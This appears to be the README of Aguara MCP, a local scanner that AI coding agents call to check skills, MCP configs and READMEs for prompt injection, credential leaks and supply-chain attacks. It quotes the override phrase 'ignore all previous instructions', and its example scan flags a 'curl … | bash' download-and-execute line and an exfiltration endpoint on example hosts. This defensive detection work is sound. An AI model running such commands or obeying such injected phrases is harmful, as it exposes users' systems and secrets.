{
  "markdown": "# Aguara MCP\n\nLocal security checks for AI agents before they trust third-party tools.\n\nAguara MCP gives Claude Code, Cursor, Windsurf, and any MCP-compatible agent a local tool for reviewing untrusted agent content before acting on it.\n\nWhen an agent is about to install an MCP server, inspect a skill, read a plugin README, or load a tool configuration, it can call Aguara first. The scan runs locally, inside the MCP server, and returns a structured verdict with findings, severity, remediation, and the rule that triggered.\n\nNo LLM calls. No network access. No subprocess to the `aguara` binary. The MCP server imports Aguara as a Go library and runs the scanner in-process.\n\nUse it to help agents answer questions like:\n\n- Is this MCP config exposing credentials?\n- Does this tool description contain prompt injection?\n- Is this README asking the agent to run unsafe install commands?\n- Does this skill try to read secrets or exfiltrate data?\n- Which rule triggered, and why?\n\nAguara MCP v0.8.0 is aligned with [Aguara](https://github.com/garagon/aguara) v0.27.0. It includes the current 250-detection catalog, the agent-trust rules for Claude Code project settings, agent instruction files (`.cursorrules`, `AGENTS.md`) as high-trust prompt surfaces, npm install-trust policy checks (`.npmrc`, `package.json` allowScripts), pnpm supply-chain posture checks, sensitivity-based output redaction, Unicode normalization, and context-aware false-positive reduction. Built on the [official MCP SDK](https://github.com/modelcontextprotocol/go-sdk) (v1, Tier 1).\n\nRepository-wide dependency checks (npm, PyPI, pnpm, Go, crates.io, Composer, RubyGems, Maven, NuGet) are still handled by the Aguara CLI:\n\n```bash\naguara check .\naguara audit . --ci\n```\n\nThese will land as MCP tools in a future release once Aguara core exposes a stable public `Check` API; see [garagon/aguara](https://github.com/garagon/aguara) for the CLI install path.\n\n## The problem\n\nAI agents are gaining autonomy. They browse registries, discover tools, install MCP servers, and execute third-party code - often without any security review.\n\nThis creates a new attack surface. A skill published to a registry today can contain:\n\n- **Prompt injection** that hijacks the agent's behavior (\"ignore all previous instructions...\")\n- **Credential theft** that exfiltrates API keys, tokens, and secrets from the agent's environment\n- **Remote code execution** hidden in install scripts (`curl | bash`, shell injection)\n- **Data exfiltration** that silently sends user data to attacker-controlled endpoints\n- **Supply chain attacks** through dependency confusion and typosquatting\n\nThe agent doesn't know. It can't tell a helpful tool from a weaponized one. The description looks normal. The install succeeds. The damage is done.\n\n**This is the gap Aguara MCP fills.** It gives the agent a security advisor it can consult as a tool - the same way a developer would run a linter before merging code. One tool call, milliseconds, entirely local. The agent checks first, then decides.\n\n## Quick start\n\n```bash\ncurl -fsSL https://raw.githubusercontent.com/garagon/mcp-aguara/main/install.sh | sh\n```\n\nOne command, one binary, no external dependencies. The installer verifies SHA256 checksums before extracting and fails closed if no sha256 verifier is available on the host (no silent skip).\n\n> Make sure the install directory (`~/.local/bin`) is in your `PATH`. The binary is statically linked with the Aguara rule catalog and analyzers compiled in so all MCP scans run fully offline. Aguara core's OSV-derived threat-intel snapshot is **not** bundled in this binary because the MCP does not expose repository-wide dependency checks yet; use the Aguara CLI for those (see [garagon/aguara](https://github.com/garagon/aguara) for install + usage).\n\n### Add to your AI agent\n\n**Claude Code:**\n\n```bash\nclaude mcp add aguara -- aguara-mcp\n```\n\n**Claude Desktop** - add to `claude_desktop_config.json`:\n\n```json\n{\n  \"mcpServers\": {\n    \"aguara\": {\n      \"command\": \"aguara-mcp\"\n    }\n  }\n}\n```\n\n**Cursor / Windsurf / any MCP client** - stdio transport with `aguara-mcp`.\n\nYour agent now has a security advisor.\n\n## Tools\n\n### `scan_content`\n\nScan text for security threats before acting on it. Works on agent skills, READMEs, tool definitions, MCP server descriptions, prompts, package manifest content (`package.json`), GitHub Actions workflow YAML when the `filename` argument contains `.github/workflows/`, Claude Code settings when `filename` is `.claude/settings.json` or `.claude/settings.local.json`, agent instruction files (`.cursorrules`, `.windsurfrules`, `.clinerules`, `AGENTS.md`, `copilot-instructions.md`), npm install-trust policy when `filename` is `.npmrc` or `package.json`, and pnpm policy when `filename` is `pnpm-workspace.yaml`. Detects prompt injection (pattern + NLP), credential leaks, exfiltration, command execution, supply-chain patterns, MCP attacks, package metadata risks, JavaScript / Python / Rust install-time payload shapes, GitHub Actions trust chains, risky agent host configuration, weakened npm / pnpm supply-chain settings, and Unicode/encoding evasion. **Sensitive matches are redacted** in the response: when a finding is marked `Sensitive=true` (cred+exfil combos, toxic-flow cred reads, MCP_007) or belongs to the `credential-leak` category, `matched_text` is replaced with `[REDACTED]` so the scanner never creates a second copy of the secret. Supports context-aware false-positive reduction via `tool_name`.\n\n| Parameter | Required | Description |\n|-----------|----------|-------------|\n| `content` | Yes | The text content to scan |\n| `filename` | No | Filename hint for rule matching (default: `skill.md`) |\n| `tool_name` | No | Tool that generated the content (e.g., `Bash`, `Edit`, `WebFetch`). Enables context-aware false-positive reduction |\n| `scan_profile` | No | Enforcement profile: `strict` (default, all rules), `content-aware` (reduced FP for known tools), or `minimal` (flag-only mode) |\n| `min_severity` | No | Minimum severity to report: `INFO`, `LOW`, `MEDIUM`, `HIGH`, or `CRITICAL` |\n| `disabled_rules` | No | List of rule IDs to skip (e.g., `[\"PROMPT_INJECTION_001\"]`) |\n\nReturns a structured report with verdict (`clean`, `flag`, or `block`), severity-rated findings with remediation guidance, matched patterns, line numbers, confidence scores, and which analysis engine produced each finding.\n\n### `check_mcp_config`\n\nCheck an MCP server configuration (JSON) for security issues before adding it to a client. Detects dangerous command shapes in `command`/`args`, credential exposure in `env`, unsafe argument injection, and tool-poisoning patterns. Use on any `mcpServers` entry from Claude Desktop, Cursor, VS Code, or other MCP clients before enabling it. Sensitive matches are redacted in the response.\n\n| Parameter | Required | Description |\n|-----------|----------|-------------|\n| `config` | Yes | MCP configuration as a JSON string |\n| `scan_profile` | No | Enforcement profile: `strict` (default), `content-aware`, or `minimal` |\n| `min_severity` | No | Minimum severity to report: `INFO`, `LOW`, `MEDIUM`, `HIGH`, or `CRITICAL` |\n| `disabled_rules` | No | List of rule IDs to skip |\n\n### `list_rules`\n\nBrowse the cataloged security rules. Returns 250 detections (193 YAML pattern rules + 57 analyzer-emitted rules from ci-trust, pkgmeta, jsrisk, pyrisk, rsbuild, npm-policy, pnpm-policy, agent-policy, NLP, toxic-flow, and rug-pull analyzers) spanning multiple threat categories. Useful when the agent needs to understand what Aguara can detect or filter by category.\n\n| Parameter | Required | Description |\n|-----------|----------|-------------|\n| `category` | No | Filter by category (e.g., `prompt-injection`, `exfiltration`, `credential-leak`) |\n\n### `explain_rule`\n\nGet detailed information about a specific rule by ID. Resolves both YAML rules (returns patterns plus true/false-positive examples) and analyzer-emitted rule IDs from ci-trust, pkgmeta, jsrisk, pyrisk, rsbuild, npm-policy, pnpm-policy, agent-policy, NLP, toxic-flow, and rug-pull (returns severity, category, analyzer name, description, and remediation; analyzer rules have no inline patterns or examples).\n\n| Parameter | Required | Description |\n|-----------|----------|-------------|\n| `rule_id` | Yes | Rule ID (e.g., `PROMPT_INJECTION_001`) |\n\n### `discover_mcp`\n\nDiscover MCP server configurations on the local machine by reading known MCP client config files (Claude Desktop, Cursor, VS Code, Windsurf, and others). Returns the server definitions including commands, arguments, and environment variables. **Read-only**: this tool never executes the discovered commands and never connects to any server. Pair with `check_mcp_config` to evaluate each definition before acting on it.\n\nNo parameters required.\n\n## Example\n\nAn agent evaluating whether to install an MCP server from a registry:\n\n```\nUser: \"Install the data-processor MCP server\"\n\nAgent (before installing, calls scan_content with the skill README):\n\n→ {\n    \"summary\": \"Found 2 issues: 1 critical, 1 high\",\n    \"verdict\": \"block\",\n    \"findings\": [\n      {\n        \"severity\": \"CRITICAL\",\n        \"rule_id\": \"SUPPLY_003\",\n        \"rule_name\": \"Download-and-execute\",\n        \"remediation\": \"Avoid piping remote scripts directly into a shell. Download first, verify integrity, then execute.\",\n        \"line\": 12,\n        \"matched_text\": \"curl https://cdn.example.com/setup.sh | bash\",\n        \"analyzer\": \"pattern\"\n      },\n      {\n        \"severity\": \"HIGH\",\n        \"rule_id\": \"EXFIL_001\",\n        \"rule_name\": \"Data exfiltration endpoint\",\n        \"line\": 34,\n        \"matched_text\": \"https://collect.example.com/data\",\n        \"confidence\": 0.92,\n        \"analyzer\": \"nlp\"\n      }\n    ]\n  }\n\nAgent: \"I scanned the data-processor skill and found 2 security issues:\na script that downloads and executes remote code, and an endpoint that\ncould exfiltrate your data. I'd recommend not installing it.\"\n```\n\nWithout Aguara MCP, the agent would have installed it silently.\n\n## Coverage\n\nThe Aguara v0.27.0 catalog totals **250 detections** (193 YAML pattern rules + 57 analyzer-emitted) across twelve analyzers:\n\n- **Pattern matcher** - regex / contains rules covering prompt injection, credential leaks, exfiltration, command execution, supply-chain patterns, MCP attacks, indirect injection, external download, SSRF/cloud, third-party content, and Unicode attacks. Content is NFKC-normalized before scanning to prevent Unicode evasion.\n- **CI trust** - YAML-aware analysis of `.github/workflows/*.yml` for pwn-request chains, cache poisoning, OIDC token surface, and persisted-credentials checkout patterns. Reachable from MCP when the `filename` argument contains `.github/workflows/`.\n- **PkgMeta** - `package.json` analysis for install-time lifecycle scripts paired with git-sourced dependencies, optional-git deps, and publish-surface chains.\n- **JSRisk** - `.js`/`.mjs`/`.cjs` analysis for obfuscator-shape payloads, install-time daemonization, CI secret harvesting, runner process-memory pivots, GitHub-as-C2 channels, host trust tampering, destructive wipes, and known IOCs (e.g. the May 2026 node-ipc DNS-TXT exfil chain).\n- **PyRisk** - `setup.py`/`__init__.py` flow analysis binding a remote JS fetch to a `node -e` execution sink.\n- **RSBuild** - `build.rs` flow analysis binding a wallet/keystore read to a network send sink.\n- **Npm policy** - `.npmrc` and `package.json` (`allowScripts` policy) analysis for npm v12 install-trust weakenings: the `dangerously-allow-all-scripts` escape hatch, unpinned approvals, `allow-git`/`allow-remote` relaxations. Reachable from MCP when the `filename` argument is `.npmrc` or `package.json`.\n- **Pnpm policy** - `pnpm-workspace.yaml` analysis for supply-chain settings weakened below the pnpm v11 defaults. Reachable from MCP when the `filename` argument is `pnpm-workspace.yaml`.\n- **Agent policy** - `.claude/settings.json` analysis for Claude Code host configuration that is dangerous to inherit from a cloned repo (fetch-and-execute hooks, code-injection env vars, `bypassPermissions`, MCP auto-approval, secret-read allow rules). Reachable from MCP when the `filename` argument is `.claude/settings.json` or `.claude/settings.local.json`.\n- **NLP** - Goldmark-based markdown analysis for prompt-injection, authority-claim, and credential-transmission combos that evade static patterns. Agent instruction files (`.cursorrules`, `.windsurfrules`, `.clinerules`, `AGENTS.md`, `copilot-instructions.md`) are analyzed even without a `.md` extension and weighted as high-trust prompt surfaces.\n- **Toxic flow** - single-file taint tracking plus cross-file correlation for dangerous capability combinations.\n- **Rug-pull** - SHA256-based change detection on tool descriptions over time (used by the Aguara CLI; not currently invoked by MCP tools).\n\nSee [garagon/aguara](https://github.com/garagon/aguara) for the canonical category list and rule IDs.\n\n## How it works\n\n```\nAgent                  Aguara MCP\n  │                          │\n  ├─ scan_content(text) ────►│\n  │                          ├─ aguara.ScanContent()\n  │                          │  or ScanContentAs() with tool context\n  │                          │  (in-process, no disk I/O)\n  │                          │  250 detections · 11 active analyzers\n  │                          │  (pattern + ci-trust + pkgmeta + jsrisk +\n  │                          │   pyrisk + rsbuild + npm-policy +\n  │                          │   pnpm-policy + agent-policy + NLP +\n  │                          │   toxic-flow; rug-pull needs\n  │                          │   WithStateDir, n/a here)\n  │                          │  NFKC normalization · FP reduction\n  │                          │  sensitive matches redacted\n  │◄─ verdict + findings ────┤\n  │                          │\n  ├─ discover_mcp() ────────►│\n  │                          ├─ aguara.Discover()\n  │                          │  (reads local config files)\n  │◄─ server definitions ────┤\n  │                          │\n```\n\nAguara MCP imports the [Aguara scanner](https://github.com/garagon/aguara) as a Go library - no subprocess, no temp files, no external binary. The scan engine runs in-process with version integrity guaranteed by `go.sum`.\n\nThe MCP protocol layer uses the [official Go SDK](https://github.com/modelcontextprotocol/go-sdk) (Tier 1, Linux Foundation governance, v1 semver stability). This ensures protocol compliance and long-term compatibility as the MCP specification evolves.\n\nNo network access. No LLM calls. No cloud dependencies. Everything runs locally and deterministically. Scans complete in milliseconds.\n\n## Security\n\nSee [SECURITY.md](SECURITY.md) for the vulnerability disclosure policy.\n\nAguara MCP is itself security-hardened:\n\n- **No subprocess execution** - Aguara runs as an in-process Go library, eliminating PATH hijacking and binary substitution risks\n- **No network calls** - every MCP scan is fully offline. The Aguara rule catalog and analyzers are linked in at build time; the OSV-derived threat-intel snapshot is **not** bundled in the MCP binary because the MCP does not expose repository-wide dependency checks (use the Aguara CLI for those)\n- **Input validation** - Rule IDs validated against strict format, content size capped at 10 MB\n- **Filename sanitization** - Allowlisted characters only, length-capped, no path traversal; the canonical `.github/workflows/<basename>` prefix is preserved so the ci-trust analyzer can reach workflow YAML\n- **Sensitivity-based output redaction** - Findings marked `Sensitive=true` by Aguara core (cred+exfil combos, toxic-flow cred reads, MCP_007, MCPCFG_003) or belonging to the `credential-leak` category have their `matched_text` replaced with `[REDACTED]` before the MCP serializes the response; the MCP keeps its own defensive guard in addition to Aguara's in-place scrub\n- **Signed release pipeline** - release binaries are Cosign-signed with SPDX SBOMs attached, the multi-arch Docker image at `ghcr.io/garagon/mcp-aguara` is signed at digest with SLSA provenance and SBOM attestations; verify with `VERSION=v0.8.0 .github/scripts/verify-release.sh`\n- **Version integrity** - Aguara scanner version is pinned in `go.sum`, verified at build time\n\n## Advanced\n\nDebug mode (logs scan details to stderr):\n\n```bash\nclaude mcp add aguara -- aguara-mcp --debug\n```\n\nBuild from source:\n\n```bash\ngit clone https://github.com/garagon/mcp-aguara.git\ncd mcp-aguara\nmake build    # → ./aguara-mcp\nmake test     # runs all tests\n```\n\n### Using Aguara as a Go library\n\nAguara MCP uses the Aguara public API. You can use it in your own tools:\n\n```go\nimport \"github.com/garagon/aguara\"\n\n// Basic scan\nresult, err := aguara.ScanContent(ctx, content, \"skill.md\",\n    aguara.WithMinSeverity(aguara.SeverityHigh),\n    aguara.WithDisabledRules(\"CRED_001\"),\n)\n\n// Context-aware scan (reduces false positives for known tools)\nresult, err = aguara.ScanContentAs(ctx, content, \"skill.md\", \"WebFetch\",\n    aguara.WithScanProfile(aguara.ProfileContentAware),\n)\n\nrules := aguara.ListRules(aguara.WithCategory(\"prompt-injection\"))\ndetail, err := aguara.ExplainRule(\"PROMPT_INJECTION_001\")\ndiscovered, err := aguara.Discover()\n```\n\nSee the [Aguara documentation](https://github.com/garagon/aguara) for the full API reference.\n\n## License\n\n[MIT](LICENSE)\n",
  "bytes": 17349,
  "sha": "156d38631f59b752fa1438d38683fe99257307a9cf276d5aa94fe055a70f890c",
  "repo_slug": "garagon/mcp-aguara",
  "fonte": "repo",
  "truncated": false,
  "api": "https://agentalog.com/api/listings/mcp_io_github_garagon_mcp_aguara_3706a69e/readme"
}